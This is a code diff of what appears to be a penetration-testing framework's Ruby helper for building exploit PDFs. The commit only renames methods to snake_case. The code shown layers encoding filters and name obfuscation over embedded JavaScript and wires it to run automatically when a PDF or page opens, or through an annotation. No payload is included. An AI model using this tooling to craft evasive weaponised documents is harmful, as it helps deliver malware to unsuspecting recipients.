@@ -30,7 +30,7 @@ def initialize(info = {})
30
30
#Original Filters
31
31
##
32
32
33
- def ASCIIHexWhitespaceEncode ( str )
33
+ def ascii_hex_whitespace_encode ( str )
34
34
return str if not datastore [ 'PDF::Obfuscate' ]
35
35
result = ""
36
36
whitespace = ""
@@ -44,7 +44,7 @@ def ASCIIHexWhitespaceEncode(str)
44
44
##
45
45
#Filters from Origami parser
46
46
##
47
- def RunLengthEncode ( stream )
47
+ def run_length_encode ( stream )
48
48
eod = 128
49
49
result = ""
50
50
i = 0
@@ -85,15 +85,15 @@ def RunLengthEncode(stream)
85
85
result << eod . chr
86
86
end
87
87
88
- def RandomNonASCIIString ( count )
88
+ def random_non_ascii_string ( count )
89
89
result = ""
90
90
count . times do
91
91
result << ( rand ( 128 ) + 128 ) . chr
92
92
end
93
93
result
94
94
end
95
95
96
- def ASCII85Encode ( stream )
96
+ def ascii85_encode ( stream )
97
97
eod = "~>"
98
98
i = 0
99
99
code = ""
@@ -130,7 +130,7 @@ def ASCII85Encode(stream)
130
130
end
131
131
132
132
# http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
133
- def nObfu ( str )
133
+ def nobfu ( str )
134
134
return str if not datastore [ 'PDF::Obfuscate' ]
135
135
136
136
result = ""
@@ -149,13 +149,13 @@ def nObfu(str)
149
149
##
150
150
def header ( version = '1.5' )
151
151
hdr = "%PDF-#{ version } " << eol
152
- hdr << "%" << RandomNonASCIIString ( 4 ) << eol
152
+ hdr << "%" << random_non_ascii_string ( 4 ) << eol
153
153
hdr
154
154
end
155
155
156
156
def add_object ( num , data )
157
157
@xref [ num ] = @pdf . length
158
- @pdf << ioDef ( num )
158
+ @pdf << io_def ( num )
159
159
@pdf << data
160
160
@pdf << endobj
161
161
end
@@ -186,7 +186,7 @@ def xref_table
186
186
end
187
187
188
188
def trailer ( root_obj )
189
- ret = "trailer" << nObfu ( "<</Size %d/Root " % ( @xref . length + 1 ) ) << ioRef ( root_obj ) << ">>" << eol
189
+ ret = "trailer" << nobfu ( "<</Size %d/Root " % ( @xref . length + 1 ) ) << io_ref ( root_obj ) << ">>" << eol
190
190
ret
191
191
end
192
192
@@ -209,18 +209,18 @@ def endobj
209
209
"endobj" << eol
210
210
end
211
211
212
- def ioDef ( id )
212
+ def io_def ( id )
213
213
"%d 0 obj" % id
214
214
end
215
215
216
- def ioRef ( id )
216
+ def io_ref ( id )
217
217
"%d 0 R" % id
218
218
end
219
219
220
220
##
221
221
#Controller funtion, should be entrypoint for pdf exploits
222
222
##
223
- def CreatePDF ( js )
223
+ def create_pdf ( js )
224
224
strFilter = ""
225
225
arrResults = [ ]
226
226
numIterations = 0
@@ -233,10 +233,10 @@ def CreatePDF(js)
233
233
end
234
234
for i in ( 0 ..numIterations -1 )
235
235
if i == 0
236
- arrResults = SelectEncoder ( js , arrEncodings [ i ] , strFilter )
236
+ arrResults = select_encoder ( js , arrEncodings [ i ] , strFilter )
237
237
next
238
238
end
239
- arrResults = SelectEncoder ( arrResults [ 0 ] , arrEncodings [ i ] , arrResults [ 1 ] )
239
+ arrResults = select_encoder ( arrResults [ 0 ] , arrEncodings [ i ] , arrResults [ 1 ] )
240
240
end
241
241
case datastore [ 'PDF::Method' ]
242
242
when 'PAGE'
@@ -251,19 +251,19 @@ def CreatePDF(js)
251
251
##
252
252
#Select an encoder and build a filter specification
253
253
##
254
- def SelectEncoder ( js , strEncode , strFilter )
254
+ def select_encoder ( js , strEncode , strFilter )
255
255
case strEncode
256
256
when 'ASCII85'
257
- js = ASCII85Encode ( js )
257
+ js = ascii85_encode ( js )
258
258
strFilter = "/ASCII85Decode" <<strFilter
259
259
when 'ASCIIHEX'
260
- js = ASCIIHexWhitespaceEncode (js)
260
+ js = ascii_hex_whitespace_encode (js)
261
261
strFilter = "/ASCIIHexDecode"<<strFilter
262
262
when 'FLATE'
263
263
js = Zlib::Deflate.deflate(js)
264
264
strFilter = "/FlateDecode"<<strFilter
265
265
when 'RUN'
266
- js = RunLengthEncode (js)
266
+ js = run_length_encode (js)
267
267
strFilter = "/RunLengthDecode"<<strFilter
268
268
end
269
269
return js,strFilter
@@ -277,10 +277,10 @@ def pdf_with_page_exploit(js,strFilter)
277
277
@pdf = ''
278
278
279
279
@pdf << header
280
- add_object(1, nObfu ("<</Type/Catalog/Outlines ") << ioRef (2) << nObfu ("/Pages ") << ioRef (3) << ">>")
281
- add_object(2, nObfu ("<</Type/Outlines/Count 0>>"))
282
- add_object(3, nObfu ("<</Type/Pages/Kids[") << ioRef (4) << nObfu ("]/Count 1>>"))
283
- add_object(4, nObfu ("<</Type/Page/Parent ") << ioRef (3) << nObfu ("/MediaBox[%s %s %s %s] " % [rand(200),rand(200),rand(300),rand(300)]) << nObfu (" /AA << /O << /JS ") << ioRef (5) << nObfu ("/S /JavaScript >>>>>>"))
280
+ add_object(1, nobfu ("<</Type/Catalog/Outlines ") << io_ref (2) << nobfu ("/Pages ") << io_ref (3) << ">>")
281
+ add_object(2, nobfu ("<</Type/Outlines/Count 0>>"))
282
+ add_object(3, nobfu ("<</Type/Pages/Kids[") << io_ref (4) << nobfu ("]/Count 1>>"))
283
+ add_object(4, nobfu ("<</Type/Page/Parent ") << io_ref (3) << nobfu ("/MediaBox[%s %s %s %s] " % [rand(200),rand(200),rand(300),rand(300)]) << nobfu (" /AA << /O << /JS ") << io_ref (5) << nobfu ("/S /JavaScript >>>>>>"))
284
284
compressed = js
285
285
stream = "<</Length %s/Filter[" % compressed.length << strFilter << "]>>" << eol
286
286
stream << "stream" << eol
@@ -301,10 +301,10 @@ def pdf_with_openaction_js(js,strFilter)
301
301
302
302
@pdf << header
303
303
304
- add_object(1, nObfu ("<</Type/Catalog/Outlines ") << ioRef (2) << nObfu ("/Pages ") << ioRef (3) << ">>")
305
- add_object(2, nObfu ("<</Type/Outlines/Count 0>>"))
306
- add_object(3, nObfu ("<</Type/Pages/Kids[") << ioRef (4) << nObfu ("]/Count 1>>"))
307
- add_object(4, nObfu ("<</Type/Page/Parent ") << ioRef (3) << nObfu ("/MediaBox[%s %s %s %s] " % [rand(200),rand(200),rand(300),rand(300)]) << nObfu (" /AA << /O << /JS ") << ioRef (5) << nObfu ("/S /JavaScript >>>>>>"))
304
+ add_object(1, nobfu ("<</Type/Catalog/Outlines ") << io_ref (2) << nobfu ("/Pages ") << io_ref (3) << ">>")
305
+ add_object(2, nobfu ("<</Type/Outlines/Count 0>>"))
306
+ add_object(3, nobfu ("<</Type/Pages/Kids[") << io_ref (4) << nobfu ("]/Count 1>>"))
307
+ add_object(4, nobfu ("<</Type/Page/Parent ") << io_ref (3) << nobfu ("/MediaBox[%s %s %s %s] " % [rand(200),rand(200),rand(300),rand(300)]) << nobfu (" /AA << /O << /JS ") << io_ref (5) << nobfu ("/S /JavaScript >>>>>>"))
308
308
compressed = js
309
309
stream = "<</Length %s/Filter[" % compressed.length << strFilter << "]>>" << eol
310
310
stream << "stream" << eol
@@ -324,11 +324,11 @@ def pdf_with_annot_js(js,strFilter)
324
324
325
325
@pdf << header
326
326
327
- add_object(1, nObfu ("<</Type/Catalog/Outlines ") << ioRef (2) << nObfu ("/Pages ") << ioRef (3) << ">>")
328
- add_object(2, nObfu ("<</Type/Outlines/Count 0>>"))
329
- add_object(3, nObfu ("<</Type/Pages/Kids[") << ioRef (4) << nObfu ("]/Count 1>>"))
330
- add_object(4, nObfu ("<</Type/Page/Parent ") << ioRef (3) << nObfu ("/MediaBox[%s %s %s %s] " % [rand(200),rand(200),rand(300),rand(300)]) << nObfu (" /Annots [") << ioRef (5) << nObfu ("]>>"))
331
- add_object(5, nObfu ("<</Type/Annot /Subtype /Screen /Rect [%s %s %s %s] /AA << /PO << /JS " % [rand(200),rand(200),rand(300),rand(300)]) << ioRef (6) << nObfu ("/S /JavaScript >>>>>>"))
327
+ add_object(1, nobfu ("<</Type/Catalog/Outlines ") << io_ref (2) << nobfu ("/Pages ") << io_ref (3) << ">>")
328
+ add_object(2, nobfu ("<</Type/Outlines/Count 0>>"))
329
+ add_object(3, nobfu ("<</Type/Pages/Kids[") << io_ref (4) << nobfu ("]/Count 1>>"))
330
+ add_object(4, nobfu ("<</Type/Page/Parent ") << io_ref (3) << nobfu ("/MediaBox[%s %s %s %s] " % [rand(200),rand(200),rand(300),rand(300)]) << nobfu (" /Annots [") << io_ref (5) << nobfu ("]>>"))
331
+ add_object(5, nobfu ("<</Type/Annot /Subtype /Screen /Rect [%s %s %s %s] /AA << /PO << /JS " % [rand(200),rand(200),rand(300),rand(300)]) << io_ref (6) << nobfu ("/S /JavaScript >>>>>>"))
332
332
compressed = js
333
333
stream = "<</Length %s/Filter[" % compressed.length << strFilter << "]>>" << eol
334
334
stream << "stream" << eol
0 commit comments